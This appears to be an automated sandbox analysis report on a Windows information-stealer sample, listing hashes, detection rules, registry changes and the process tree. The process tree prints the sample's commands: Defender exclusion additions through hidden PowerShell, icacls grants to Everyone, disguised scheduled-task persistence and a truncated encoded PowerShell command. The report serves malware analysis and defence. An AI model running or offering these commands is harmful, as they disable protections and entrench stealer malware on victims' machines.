21c71d11c71c7020864581a80de4318c2c95a6e36aac55441469b7db68c9a3f2

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Size 3.3MB
Sample260930-dpsa7add53
SHA256 21c71d11c71c7020864581a80de4318c2c95a6e36aac55441469b7db68c9a3f2
MD5 361b988d9b5f67ff623d03f2f43101dc
SHA1 dc9cecfd0398661b6c03a6bc42a67c0aabcc3185
SHA512 8870b449c5811f5e70a8f6a8b1229a92e5f3e8affc4276b5453c133cf35d1921285857bf78692f38df041a00b85dda58b6d0a0cb0cacf4c5ca8cceb061a5a05a
SSDEEP 49152:jjHeohaRD3Xq/zZYGrnoHUaOgZP4QwDoit8VsOBvyXo4aFB:fiRez+x5aQjKo4
TLSH
T132F53902BE8A49E9D1CDCC74C34A8A670E2270DB1A36F6AF45C505293F6E7B55F2C358
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access discovery execution persistence spyware stealer

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	5696	powershell.exe	115

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs

resource	yara_rule
behavioral2/memory/2032-1-0x00000000000E0000-0x0000000000432000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/files/0x000d00000001c55f-56.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/2032-1-0x00000000000E0000-0x0000000000432000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/files/0x000d00000001c55f-56.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing credit card regular expressions 2 IoCs

resource	yara_rule
behavioral2/memory/2032-1-0x00000000000E0000-0x0000000000432000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_CC_Regex
behavioral2/files/0x000d00000001c55f-56.dat	INDICATOR_SUSPICIOUS_EXE_CC_Regex

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6020	powershell.exe
3328	powershell.exe
1236	powershell.exe
3388	powershell.exe
1876	powershell.exe
6020	powershell.exe
3328	powershell.exe
1236	powershell.exe
3388	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5756	WinSYS32.exe
6032	SecurityHealthHostService.exe

Loads dropped DLL 2 IoCs

pid	Process
5756	WinSYS32.exe
5756	WinSYS32.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5600	icacls.exe
3352	icacls.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\system32\\WinSYS32.exe,C:\\Windows\\system32\\SecurityHealthHostService.exe"	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\SecurityHealthHostService.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File created	C:\Windows\system32\vcruntime_e5918f1.dll	WinSYS32.exe
File opened for modification	C:\Windows\system32\vcruntime_e5918f1.dll	WinSYS32.exe
File created	C:\Windows\system32\vcruntime_e590a55.dll	WinSYS32.exe
File opened for modification	C:\Windows\system32\vcruntime_e590a55.dll	WinSYS32.exe
File created	C:\Windows\system32\WinSYS32.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File opened for modification	C:\Windows\system32\WinSYS32.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File created	C:\Windows\system32\SecurityHealthHostService.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\scratch\client_startup.log	SecurityHealthHostService.exe
File opened for modification	C:\Windows\scratch\client_trace.log	SecurityHealthHostService.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qvdcrcjw.tm5.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zryzuegs.pw5.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lzoquofp.z54.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hkik0mjb.bwo.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4328	cmd.exe
4292	cmd.exe
4612	cmd.exe
5564	cmd.exe
2820	cmd.exe
1912	cmd.exe
1076	cmd.exe
5776	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SecurityHealthHostService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SecurityHealthHostService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WinSYS32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WinSYS32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WinSYS32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WinSYS32.exe

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Environment\UserInitMprLogonScript = "C:\\Windows\\System32\\WinSYS32.exe,C:\\Windows\\System32\\SecurityHealthHostService.exe"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4900	schtasks.exe
2256	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6032	SecurityHealthHostService.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
6020	powershell.exe
6020	powershell.exe
3328	powershell.exe
3328	powershell.exe
3328	powershell.exe
1236	powershell.exe
1236	powershell.exe
3388	powershell.exe
3388	powershell.exe
2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6032	SecurityHealthHostService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeIncreaseQuotaPrivilege	6020	powershell.exe
Token: SeSecurityPrivilege	6020	powershell.exe
Token: SeTakeOwnershipPrivilege	6020	powershell.exe
Token: SeLoadDriverPrivilege	6020	powershell.exe
Token: SeSystemProfilePrivilege	6020	powershell.exe
Token: SeSystemtimePrivilege	6020	powershell.exe
Token: SeProfSingleProcessPrivilege	6020	powershell.exe
Token: SeIncBasePriorityPrivilege	6020	powershell.exe
Token: SeCreatePagefilePrivilege	6020	powershell.exe
Token: SeBackupPrivilege	6020	powershell.exe
Token: SeRestorePrivilege	6020	powershell.exe
Token: SeShutdownPrivilege	6020	powershell.exe
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeSystemEnvironmentPrivilege	6020	powershell.exe
Token: SeRemoteShutdownPrivilege	6020	powershell.exe
Token: SeUndockPrivilege	6020	powershell.exe
Token: SeManageVolumePrivilege	6020	powershell.exe
Token: 33	6020	powershell.exe
Token: 34	6020	powershell.exe
Token: 35	6020	powershell.exe
Token: 36	6020	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeIncreaseQuotaPrivilege	3328	powershell.exe
Token: SeSecurityPrivilege	3328	powershell.exe
Token: SeTakeOwnershipPrivilege	3328	powershell.exe
Token: SeLoadDriverPrivilege	3328	powershell.exe
Token: SeSystemProfilePrivilege	3328	powershell.exe
Token: SeSystemtimePrivilege	3328	powershell.exe
Token: SeProfSingleProcessPrivilege	3328	powershell.exe
Token: SeIncBasePriorityPrivilege	3328	powershell.exe
Token: SeCreatePagefilePrivilege	3328	powershell.exe
Token: SeBackupPrivilege	3328	powershell.exe
Token: SeRestorePrivilege	3328	powershell.exe
Token: SeShutdownPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeSystemEnvironmentPrivilege	3328	powershell.exe
Token: SeRemoteShutdownPrivilege	3328	powershell.exe
Token: SeUndockPrivilege	3328	powershell.exe
Token: SeManageVolumePrivilege	3328	powershell.exe
Token: 33	3328	powershell.exe
Token: 34	3328	powershell.exe
Token: 35	3328	powershell.exe
Token: 36	3328	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeIncreaseQuotaPrivilege	1236	powershell.exe
Token: SeSecurityPrivilege	1236	powershell.exe
Token: SeTakeOwnershipPrivilege	1236	powershell.exe
Token: SeLoadDriverPrivilege	1236	powershell.exe
Token: SeSystemProfilePrivilege	1236	powershell.exe
Token: SeSystemtimePrivilege	1236	powershell.exe
Token: SeProfSingleProcessPrivilege	1236	powershell.exe
Token: SeIncBasePriorityPrivilege	1236	powershell.exe
Token: SeCreatePagefilePrivilege	1236	powershell.exe
Token: SeBackupPrivilege	1236	powershell.exe
Token: SeRestorePrivilege	1236	powershell.exe
Token: SeShutdownPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeSystemEnvironmentPrivilege	1236	powershell.exe
Token: SeRemoteShutdownPrivilege	1236	powershell.exe
Token: SeUndockPrivilege	1236	powershell.exe
Token: SeManageVolumePrivilege	1236	powershell.exe
Token: 33	1236	powershell.exe
Token: 34	1236	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6032	SecurityHealthHostService.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 4292	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	90
PID 4292 wrote to memory of 5600	4292	cmd.exe	92
PID 2032 wrote to memory of 4612	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	93
PID 4612 wrote to memory of 3352	4612	cmd.exe	95
PID 2032 wrote to memory of 5564	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	96
PID 5564 wrote to memory of 6020	5564	cmd.exe	98
PID 2032 wrote to memory of 2820	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	100
PID 2820 wrote to memory of 3328	2820	cmd.exe	102
PID 2032 wrote to memory of 1912	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	103
PID 1912 wrote to memory of 1236	1912	cmd.exe	105
PID 2032 wrote to memory of 1076	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	106
PID 1076 wrote to memory of 3388	1076	cmd.exe	108
PID 2032 wrote to memory of 5776	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	109
PID 5776 wrote to memory of 4900	5776	cmd.exe	111
PID 2032 wrote to memory of 4328	2032	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	112
PID 4328 wrote to memory of 2256	4328	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe"
1⤵
- Registers new Windows logon scripts automatically executed at logon.
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\Microsoft\Crypto\SystemKeys" /grant Everyone:F /T /Q
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Crypto\SystemKeys" /grant Everyone:F /T /Q
    3⤵
    - Modifies file permissions
    PID:5600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\Microsoft\Network\Downloader" /grant Everyone:F /T /Q
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Network\Downloader" /grant Everyone:F /T /Q
    3⤵
    - Modifies file permissions
    PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Crypto\SystemKeys'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Crypto\SystemKeys'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Network\Downloader'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Network\Downloader'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Microsoft Windows Update Core" /tr "C:\Windows\system32\WinSYS32.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Microsoft Windows Update Core" /tr "C:\Windows\system32\WinSYS32.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Windows Compatibility Appraiser Host" /tr "C:\Windows\system32\SecurityHealthHostService.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Compatibility Appraiser Host" /tr "C:\Windows\system32\SecurityHealthHostService.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2256

C:\Windows\system32\WinSYS32.exe
C:\Windows\system32\WinSYS32.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
PID:5756

C:\Windows\system32\SecurityHealthHostService.exe
C:\Windows\system32\SecurityHealthHostService.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:6032

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3732

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:5416

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAHQAPQBAACgAJwBUAGEAcwBrAG0AZwByACcALAAnAFAAcgBvAGMAZQBzAHMASABhAGMAawBlAHIAJwAsACcAcABlAHIAZgBtAG8AbgAnACwAJwBwAHIAbwBjAGUAeABwACcALAAnAHAAcgBvAGMAZQB4AHAANgA0ACcALAAnAHAAcgBvAGMAbQBvAG4AJwAsACcAcAByAG8AYwBtAG8AbgA2ADQAJwApADsAJABwAG4APQBAACgAJwBXAGkAbgBTAFkAUwAzADIAJwAsACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAnACkAOwAkAHAAcAByAD0AQAAoACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcALAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApADsAJABwAHAAPQBAACgAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwAsACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAOwAkAHQAdAA9AEAAKAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBpAG4AZABvAHcAcwAgAFUAcABkAGEAdABlACAAQwBvAHIAZQAnACwAJwBXAGkAbgBkAG8AdwBzACAAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAEEAcABwAHIAYQBpAHMAZQByACAASABvAHMAdAAnACkAOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACkAKQB7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMA